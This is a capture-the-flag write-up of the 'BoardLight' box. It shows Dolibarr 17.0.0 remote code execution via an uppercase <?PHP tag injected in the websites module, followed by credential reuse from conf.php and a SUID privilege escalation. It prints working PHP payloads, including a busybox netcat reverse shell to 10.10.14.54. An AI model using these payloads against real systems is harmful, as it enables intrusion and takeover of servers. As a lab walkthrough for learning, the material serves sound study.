BoardLight

Created by cY83rR0H1t

The following post by 0xb0b is licensed under CC BY 4.0


Summary

In this challenge, we exploited a vulnerability in Dolibarr CRM (version 17.0.0), allowing us to execute PHP code via an unsanitized input in the websites module. After gaining access as www-data, we discovered credentials in the conf.php file and reused them to log in as larissa via SSH. Further enumeration revealed custom SUID binaries, which we exploited to escalate privileges to root and retrieve the final flag.

Recon

We start with an Nmap scan and find only two open ports. We have SSH available on port 22 and an Apache web server is running on port 80.

When visiting the end point, we only find a static page.

Our directory scan with Feroxbuster also seems to confirm this. However, we also see that this is a PHP server.

But we still find something useful on the static page. In the 'About Shop' section, we find an info mail that reveals a domain. We add this to our /etc/hosts.

With a sub domain scan using FFuF we find the subdomain crm.

ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://board.htb/ -H "Host:FUZZ.board.htb" -fw 6243

Dolibarr is an open-source ERP (Enterprise Resource Planning) and CRM (Customer Relationship Management) software designed to help businesses manage various operations like sales, inventory, and accounting. In version 17.0.0.

Shell As www-data

We try to log in with default credentials and are successful.

We also find a suitable exploit for version 17.0.1 that allows us to execute remote code.

Dolibarr before 17.0.1 allows remote code execution by an authenticated user via an uppercase manipulation: <?PHP instead of <?php in injected data.

Vulnerability Summary:

Users can be granted privileges to add and modify pages in the websites module. Even though there are security settings to only allow HTML/JavaScript/CSS, this can be subverted. Existing checks being to detect PHP content from user-supplied input are insufficient as it only checks for <?php and <?=, allowing usage of the <? short tag for executing PHP code. As a result, an adversary is able to inject unsanitized PHP content into these web pages and achieve code execution via PHP

To exploit this vulnerability, we create a website as shown below.

We are adding a new page to this:

We then have to define a title and a page namealias.

After we have created the page, we edit the source using 'Edit HTML Source'.

To verify that we are successful with the exploit, we first use a simple command to check whether we are successful.

<!-- Enter here your HTML content. Add a section with an id tag and tag contenteditable="true" if you want to use the inline editor for the content  -->
<section id="mysection1" contenteditable="true">
<?PHP echo system("whoami"); ?>
</section>

By clicking on the binoculars we are redirected to our created page.

We that the command got succesfully executed.

Next, we set up a listener.

And prepare a payload for a reverse shell using busybox.

<!-- Enter here your HTML content. Add a section with an id tag and tag contenteditable="true" if you want to use the inline editor for the content  -->
<section id="mysection1" contenteditable="true">
<?PHP echo system("busybox nc 10.10.14.54 80 -e /bin/bash"); ?>
</section>

After previewing the page we get a connection back. We are www-data.

Shell as larissa

When enumerating as www-data, we see that the board page belongs to larissa. Maybe we can find useful credentials in one of the config files.

We search for the config file conf.php and find it in /var/www/html/crm.board.htb/htdocs/conf/conf.php.

find / -type f -name "conf.php" 2>/dev/null

In this we find the credentials for the database user.

Fortunately, at least in our case, the credentials were reused. With this password, which we found in conf.php, we can gain access to the machine as larissa via ssh. In the home directory of larsissa we find the first flag.

Shell as root

When enumerating with larsissa, the suid binaries stand out. They match the name of the box. These are not the usual binaries found in GTFObins. But they may have vulnerabilities to get a root shell using them.

We are able to locate the following exploits of which the latter one actually works.

We clone the repository and setup a Python web server to provide the files, alternatively we could have used scp.

Next, we just need to download the exploit, change the permission of the script to make it executable and execute it. We are root and find the last flag at /root/root.txt.

Last updated